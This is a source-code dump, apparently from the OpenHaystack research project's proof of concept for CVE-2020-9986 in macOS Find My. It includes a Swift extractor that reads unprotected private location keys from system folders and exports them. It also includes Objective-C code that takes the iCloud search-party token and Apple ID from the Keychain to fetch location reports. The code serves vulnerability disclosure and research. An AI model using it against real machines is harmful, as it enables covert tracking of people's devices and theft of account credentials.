- (void)handleResponse:(id)arg1 forRequest:(id)arg2 shouldRetry:(char *)arg3;
- (id)appleIDHeadersForRequest:(id)arg1;
- (void)URLSession:(id)arg1 task:(id)arg2 getAppleIDHeadersForResponse:(id)arg3 completionHandler:(id)arg4;
- (id)relevantHTTPStatusCodes;
- (id)copyWithZone:(struct _NSZone *)arg1;
- (void)encodeWithCoder:(id)arg1;
- (id)initWithCoder:(id)arg1;
- (id)initWithIdentifier:(id)arg1;
- (id)init;
@end
@interface AKDevice
+ (AKDevice *)currentDevice;
- (NSString *)uniqueDeviceIdentifier;
- (NSString *)serialNumber;
- (NSString *)serverFriendlyDescription;
@end
@interface ReportsFetcher : NSObject
/// WARNING: Runs synchronous network request. Please run this in a background thread.
/// Query location reports for an array of public key hashes (ids)
/// @param publicKeys Array of hashed public keys (in Base64)
/// @param date Start date
/// @param duration Duration checked
/// @param searchPartyToken Search Party token
/// @param completion Called when finished
- (void) queryForHashes:(NSArray *)publicKeys startDate: (NSDate *) date duration: (double) duration searchPartyToken:(nonnull NSData *)searchPartyToken completion: (void (^)(NSData* _Nullable)) completion;
/// Fetches the search party token from the macOS Keychain. Returns null if it fails
- (NSData * _Nullable) fetchSearchpartyToken;
/// Get AnisetteData from AuthKit or return an empty dictionary
- (NSDictionary *_Nonnull) anisetteDataDictionary;
@end
NS_ASSUME_NONNULL_END
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.m
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import "ReportsFetcher.h"
#import <Security/Security.h>
#import <Accounts/Accounts.h>
#import "OFFetchReports-Swift.h"
@implementation ReportsFetcher
- (NSData * _Nullable) fetchSearchpartyToken {
NSDictionary *query = @{
(NSString*) kSecClass : (NSString*) kSecClassGenericPassword,
(NSString*) kSecAttrService: @"com.apple.account.AppleAccount.search-party-token",
(NSString*) kSecMatchLimit: (id) kSecMatchLimitOne,
(NSString*) kSecReturnData: @true
};
CFTypeRef item;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef) query, &item);
if (status == errSecSuccess) {
NSData *securityToken = (__bridge NSData *)(item);
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
if (securityToken.length == 0) {
return [self fetchSearchpartyTokenFromAccounts];
}
return securityToken;
}
return [self fetchSearchpartyTokenFromAccounts];;
}
- (NSData * _Nullable) fetchSearchpartyTokenFromAccounts {
ACAccountStore *accountStore = [[ACAccountStore alloc] init];
ACAccountType *accountType = [accountStore accountTypeWithAccountTypeIdentifier:@"com.apple.account.AppleAccount"];
NSArray *appleAccounts = [accountStore accountsWithAccountType:accountType];
if (appleAccounts == nil && appleAccounts.count > 0) {return nil;}
ACAccount *iCloudAccount = appleAccounts[0];
ACAccountCredential *iCloudCredentials = iCloudAccount.credential;
if ([iCloudCredentials respondsToSelector:NSSelectorFromString(@"credentialItems")]) {
NSDictionary* credentialItems = [iCloudCredentials performSelector:NSSelectorFromString(@"credentialItems")];
NSString *searchPartyToken = credentialItems[@"search-party-token"];
NSData *tokenData = [searchPartyToken dataUsingEncoding:NSASCIIStringEncoding];
return tokenData;
}
return nil;
}
- (NSString *) fetchAppleAccountId {
NSDictionary *query = @{
(NSString*) kSecClass : (NSString*) kSecClassGenericPassword,
(NSString*) kSecAttrService: @"iCloud",
(NSString*) kSecMatchLimit: (id) kSecMatchLimitOne,
(NSString*) kSecReturnAttributes: @true
};
CFTypeRef item;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef) query, &item);
if (status == errSecSuccess) {
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
NSString *accountId = itemDict[(NSString *) kSecAttrAccount];
return accountId;
}
return nil;
}
- (NSString *) basicAuthForAppleID: (NSString *) appleId andToken: (NSData*) token {
NSString * tokenString = [[NSString alloc] initWithData:token encoding:NSUTF8StringEncoding];
NSString * authText = [NSString stringWithFormat:@"%@:%@", appleId, tokenString];
NSString * base64Auth = [[authText dataUsingEncoding:NSUTF8StringEncoding] base64EncodedStringWithOptions:0];
NSString *auth = [NSString stringWithFormat:@"Basic %@", base64Auth];
return auth;
}
- (NSDictionary *) anisetteDataDictionary {
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://gateway.icloud.com/acsnservice/fetch"]];
[req setHTTPMethod:@"POST"];
AKAppleIDSession* session = [[NSClassFromString(@"AKAppleIDSession") alloc] initWithIdentifier:@"com.apple.gs.xcode.auth"];
NSDictionary *appleHeadersDict = [session appleIDHeadersForRequest:req];
return appleHeadersDict;
}
- (void) fetchAnisetteData:(void (^)(NSDictionary* _Nullable)) completion {
// Use the AltStore mail plugin
NSDictionary *anisetteData = [self anisetteDataDictionary];
completion(anisetteData);
}
- (void) queryForHashes:(NSArray *)publicKeys startDate: (NSDate *) date duration: (double) duration searchPartyToken:(nonnull NSData *)searchPartyToken completion: (void (^)(NSData* _Nullable)) completion {
// calculate the timestamps for the defined duration
long long startDate = [date timeIntervalSince1970] * 1000;
long long endDate = ([date timeIntervalSince1970] + duration) * 1000.0;
NSLog(@"Requesting data for %@", publicKeys);
NSDictionary * query = @{
@"search": @[
@{
@"endDate": [NSString stringWithFormat:@"%lli", endDate],
@"ids": publicKeys,
@"startDate": [NSString stringWithFormat:@"%lli", startDate]
}
]
};
NSData *httpBody = [NSJSONSerialization dataWithJSONObject:query options:0 error:nil];
NSLog(@"Query : %@",query);
NSString *authKey = @"authorization";
NSData *securityToken = searchPartyToken;
NSString *appleId = [self fetchAppleAccountId];
NSString *authValue = [self basicAuthForAppleID:appleId andToken:securityToken];
[self fetchAnisetteData:^(NSDictionary * _Nullable dict) {
if (dict == nil) {
completion(nil);
return;
}
NSMutableURLRequest* req = [[NSMutableURLRequest alloc] initWithURL:[[NSURL alloc] initWithString:@"https://gateway.icloud.com/acsnservice/fetch"]];
[req setHTTPMethod:@"POST"];
[req setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
[req setValue:@"application/json" forHTTPHeaderField:@"Accept"];
[req setValue:authValue forHTTPHeaderField:authKey];
NSDictionary *appleHeadersDict = dict;
for(id key in appleHeadersDict)
[req setValue:[appleHeadersDict objectForKey:key] forHTTPHeaderField:key];
NSLog(@"Headers:\n%@",req.allHTTPHeaderFields);
[req setHTTPBody:httpBody];
NSURLResponse * response;
NSError * error = nil;
NSData * data = [NSURLConnection sendSynchronousRequest:req returningResponse:&response error:&error];
if (error) {
NSLog(@"Error during request: \n\n%@", error);
}
completion(data);
}];
}
@end
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/SavePanel.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel()
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Locations"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Find My Locations"
self.panel?.nameFieldStringValue = "findMyLocations.plist"
self.panel?.allowedFileTypes = ["plist"]
let result = self.panel?.runModal()
if result == NSApplication.ModalResponse.OK {
// Save file
let fileURL = self.panel?.url
try! self.fileToSave?.write(to: fileURL!)
}
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
{
guard okFlag else { return nil }
return filename
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/AppDelegate.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Cocoa
import CoreLocation
import SwiftUI
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = ContentView()
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/Assets.xcassets/AppIcon.appiconset/Contents.json
================================================
{
"images" : [
{
"idiom" : "mac",
"scale" : "1x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "16x16"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "32x32"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "128x128"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "256x256"
},
{
"idiom" : "mac",
"scale" : "1x",
"size" : "512x512"
},
{
"idiom" : "mac",
"scale" : "2x",
"size" : "512x512"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/Assets.xcassets/Contents.json
================================================
{
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/Base.lproj/Main.storyboard
================================================
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="17701" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
<dependencies>
<deployment identifier="macosx"/>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="17701"/>
</dependencies>
<scenes>
<!--Application-->
<scene sceneID="JPo-4y-FX3">
<objects>
<application id="hnw-xV-0zn" sceneMemberID="viewController">
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
<items>
<menuItem title="OFReadKeys" id="1Xt-HY-uBw">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="OFReadKeys" systemMenu="apple" id="uQy-DD-JDr">
<items>
<menuItem title="About OFReadKeys" id="5kV-Vb-QxS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
<menuItem title="Hide OFReadKeys" keyEquivalent="h" id="Olw-nP-bQN">
<connections>
<action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
</connections>
</menuItem>
<menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
</connections>
</menuItem>
<menuItem title="Show All" id="Kd2-mp-pUS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
<menuItem title="Quit OFReadKeys" keyEquivalent="q" id="4sb-4s-VLi">
<connections>
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
</connections>
</application>
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModule="Read_FindMy_Keys" customModuleProvider="target"/>
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="75" y="0.0"/>
</scene>
</scenes>
</document>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/ContentView.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import OSLog
import SwiftUI
struct ContentView: View {
@State var keysInfo: String?
var body: some View {
ZStack {
VStack {
Spacer()
self.infoText
.padding()
Button(
action: {
self.readPrivateKeys()
},
label: {
Text("Read private offline finding keys")
.font(.headline)
.foregroundColor(Color.black)
.padding()
.background(
RoundedRectangle(cornerRadius: 7.0)
.fill(Color(white: 7.0).opacity(0.7))
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
)
}
)
.buttonStyle(PlainButtonStyle())
self.keysInfo.map { (keysInfo) in
Text(keysInfo)
.padding()
}
Spacer()
}
}
.frame(width: 800, height: 600)
}
var infoText: some View {
// swiftlint:disable line_length
Text(
"This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
+ Text(
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
)
// swiftlint:enable line_length
}
func readPrivateKeys() {
do {
let devices = try FindMyKeyExtractor.readPrivateKeys()
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
self.saveExportedKeys(keys: devices)
} catch {
os_log(.error, "Could not load keys %@", error.localizedDescription)
}
}
func saveExportedKeys(keys: [FindMyDevice]) {
do {
let keysPlist = try PropertyListEncoder().encode(keys)
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
} catch {
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
}
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyKeyExtractor.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import CryptoKit
import Foundation
import OSLog
struct FindMyKeyExtractor {
// swiftlint:disable identifier_name
/// This function reads the private keys of the Offline Finding Location system. They will
/// - Throws: Error when accessing files fails
/// - Returns: Devices and their respective keys
static func readPrivateKeys() throws -> [FindMyDevice] {
var devices = [FindMyDevice]()
os_log(.debug, "Looking for keys")
do {
// The key files have moved with macOS 10.15.4
let macOS10_15_3Devices = try self.readFromOldLocation()
devices.append(contentsOf: macOS10_15_3Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
}
do {
// Tries to discover the new location of the keys
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
devices.append(contentsOf: macOS10_15_4Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
}
return devices
}
// MARK: - macOS 10.15.0 - 10.15.3
/// Reads the find my keys from the location used until macOS 10.15.3
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
/// - Returns: An array of find my devices including their keys
static func readFromOldLocation() throws -> [FindMyDevice] {
// Access the find my directory where the private advertisement keys are stored unencrypted
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
let fm = FileManager.default
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
.first?.appendingPathComponent(directoryPath)
let folders = try fm.contentsOfDirectory(
at: privateKeysPath!,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
guard folders.isEmpty == false else { throw FindMyError.noFoldersFound }
print("Found \(folders.count) folders")
var devices = [FindMyDevice]()
for folderURL in folders {
let keyFiles = try fm.contentsOfDirectory(
at: folderURL,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
// Check if keys are available
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
guard keyFiles.isEmpty == false else { continue }
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
for url in keyFiles {
do {
if url.pathExtension == "keys" {
let keyPlist = try Data(contentsOf: url)
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
device.keys.append(keyInfo)
}
} catch {
print("Could not load key file ", error)
}
}
devices.append(device)
}
return devices
}
/// Parses the key plist file used until macOS 10.15.3
/// - Parameter keyFile: Propery list data
/// - Returns: Find My private Key
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
guard
let keyDict = try PropertyListSerialization.propertyList(
from: keyFile,
options: .init(), format: nil) as? [String: Any],
let advertisedKey = keyDict["A"] as? Data,
let privateKey = keyDict["PR"] as? Data,
let timeValues = keyDict["D"] as? [Double],
let pu = keyDict["PU"] as? Data
else {
throw FindMyError.parsingFailed
}
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
let hashedKey = Data(hashedKeyDigest)
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
let duration = timeValues[1]
return FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: privateKey,
startTime: time,
duration: duration,
pu: pu,
yCoordinate: nil,
fullKey: nil)
}
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
/// Find the randomized key folder which is used since macOS 10.15.4
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
static func findRamdomKeyFolder() -> [URL] {
os_log(.debug, "Searching for cached keys folder")
var folderURLs = [URL]()
let foldersPath = "/private/var/folders/"
let fm = FileManager.default
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
do {
let randomSubfolders = try fm.contentsOfDirectory(
at: url,
includingPropertiesForKeys: nil,
options: .includesDirectoriesPostOrder)
for folder in randomSubfolders {
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
urlArray.append(folder.appendingPathComponent("Keys"))
os_log(.debug, "Found folder at: %@", folder.path)
break
} else {
recursiveSearch(from: folder, urlArray: &urlArray)
}
}
} catch {
}
}
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
return folderURLs
}
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
/// - Throws: An error if the key folder cannot be fould
/// - Returns: An array of devices including their keys
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
let keysFolders = self.findRamdomKeyFolder()
guard keysFolders.isEmpty == false else {
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
}
var devices = [FindMyDevice]()
for folder in keysFolders {
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
devices.append(contentsOf: deviceKeys)
}
}
return devices
}
/// Load the keys fils in the passed directory
/// - Parameter directory: Pass a directory url to a location with key files
/// - Throws: An error if the keys could not be found
/// - Returns: An array of devices including their keys
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
os_log(.debug, "Loading key files from %@", directory.path)
let fm = FileManager.default
let subDirectories = try fm.contentsOfDirectory(
at: directory,
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
var devices = [FindMyDevice]()
for deviceDirectory in subDirectories {
do {
var keyFiles = [Data]()
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
let keyFileURLs = try fm.contentsOfDirectory(
at: keyDirectory,
includingPropertiesForKeys: nil,
options: .skipsHiddenFiles)
for keyfileURL in keyFileURLs {
// Read the key files
let keyFile = try Data(contentsOf: keyfileURL)
if keyFile.isEmpty == false {
keyFiles.append(keyFile)
}
}
// Decode keys for file
let decoder = FindMyKeyDecoder()
var decodedKeys = [FindMyKey]()
for file in keyFiles {
do {
let fmKeys = try decoder.parse(keyFile: file)
decodedKeys.append(contentsOf: fmKeys)
} catch {
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
}
}
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
devices.append(device)
} catch {
os_log(.error, "Key directory not found %@", error.localizedDescription)
}
}
return devices
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyModels.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Combine
import CryptoKit
import Foundation
struct FindMyDevice: Codable {
let deviceId: String
var keys = [FindMyKey]()
}
struct FindMyKey: Codable {
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
// swiftlint:disable identifier_name
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
}
enum FindMyError: Error {
case noFoldersFound
case parsingFailed
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/Info.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIconFile</key>
<string></string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleVersion</key>
<string>1</string>
<key>LSMinimumSystemVersion</key>
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
<key>NSHumanReadableCopyright</key>
<string>Copyright © 2020 SEEMOO - TU Darmstadt. All rights reserved.</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Just for testing</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Just for testing</string>
<key>NSLocationUsageDescription</key>
<string>Just for testing</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Just for testing</string>
<key>NSMainStoryboardFile</key>
<string>Main</string>
<key>NSPrincipalClass</key>
<string>NSApplication</string>
<key>NSSupportsAutomaticTermination</key>
<true/>
<key>NSSupportsSuddenTermination</key>
<true/>
</dict>
</plist>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/OFReadKeys.entitlements
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<false/>
<key>com.apple.security.cs.disable-executable-page-protection</key>
<true/>
</dict>
</plist>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/Preview Content/Preview Assets.xcassets/Contents.json
================================================
{
"info" : {
"author" : "xcode",
"version" : 1
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys/SavePanel.swift
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel()
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Keys"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Offline Keys Plist"
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
self.panel?.allowedFileTypes = ["plist"]
self.panel?.begin(completionHandler: { (response) in
if response == .OK {
// Save the file in a cache directory
let fileURL = self.panel?.url
try? self.fileToSave?.write(to: fileURL!)
}
})
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
{
return filename
}
}
================================================
FILE: CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.pbxproj
================================================
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 52;
objects = {
/* Begin PBXAggregateTarget section */
782AC6C425F0E2D200554BF4 /* Run OFFetchReports */ = {
isa = PBXAggregateTarget;
buildConfigurationList = 782AC6C525F0E2D200554BF4 /* Build configuration list for PBXAggregateTarget "Run OFFetchReports" */;
buildPhases = (
782AC6C825F0E2DC00554BF4 /* Codesign App with Entitlements */,
);
dependencies = (
782AC6CA25F0E2EB00554BF4 /* PBXTargetDependency */,
);
name = "Run OFFetchReports";
productName = "Run OFFetchReports";
};
/* End PBXAggregateTarget section */
/* Begin PBXBuildFile section */
78097EC7248E27E700096FCA /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC6248E27E700096FCA /* AppDelegate.swift */; };
78097EC9248E27E700096FCA /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78097EC8248E27E700096FCA /* ContentView.swift */; };
78097ECB248E27E800096FCA /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECA248E27E800096FCA /* Assets.xcassets */; };
78097ECE248E27E800096FCA /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECD248E27E800096FCA /* Preview Assets.xcassets */; };
78097ED1248E27E800096FCA /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78097ECF248E27E800096FCA /* Main.storyboard */; };
781FD99025EE4F5400C745C9 /* FindMyKeyExtractor.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781FD98F25EE4F5400C745C9 /* FindMyKeyExtractor.swift */; };
782AC6A125F0DF3000554BF4 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6A025F0DF3000554BF4 /* AppDelegate.swift */; };
782AC6A525F0DF3100554BF4 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A425F0DF3100554BF4 /* Assets.xcassets */; };
782AC6A825F0DF3100554BF4 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A725F0DF3100554BF4 /* Preview Assets.xcassets */; };
782AC6AB25F0DF3100554BF4 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6A925F0DF3100554BF4 /* Main.storyboard */; };
782AC6B325F0DF7C00554BF4 /* OFFetchReportsMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B125F0DF7C00554BF4 /* OFFetchReportsMainView.swift */; };
782AC6B425F0DF7C00554BF4 /* MapView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B225F0DF7C00554BF4 /* MapView.swift */; };
782AC6BA25F0DFF200554BF4 /* SavePanel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B625F0DFF200554BF4 /* SavePanel.swift */; };
782AC6BB25F0DFF200554BF4 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6B725F0DFF200554BF4 /* MapViewController.swift */; };
782AC6BC25F0DFF200554BF4 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 782AC6B825F0DFF200554BF4 /* MapViewController.xib */; };
782AC6C125F0E02200554BF4 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6BF25F0E02200554BF4 /* BoringSSL.m */; };
782AC6D125F0E3F600554BF4 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CD25F0E3F600554BF4 /* DecryptReports.swift */; };
782AC6D225F0E3F600554BF4 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CE25F0E3F600554BF4 /* FindMyKeyDecoder.swift */; };
782AC6D325F0E3F600554BF4 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6CF25F0E3F600554BF4 /* FindMyController.swift */; };
782AC6D425F0E3F600554BF4 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6D025F0E3F600554BF4 /* Models.swift */; };
782AC6D825F0E3FE00554BF4 /* ReportsFetcher.m in Sources */ = {isa = PBXBuildFile; fileRef = 782AC6D725F0E3FE00554BF4 /* ReportsFetcher.m */; };
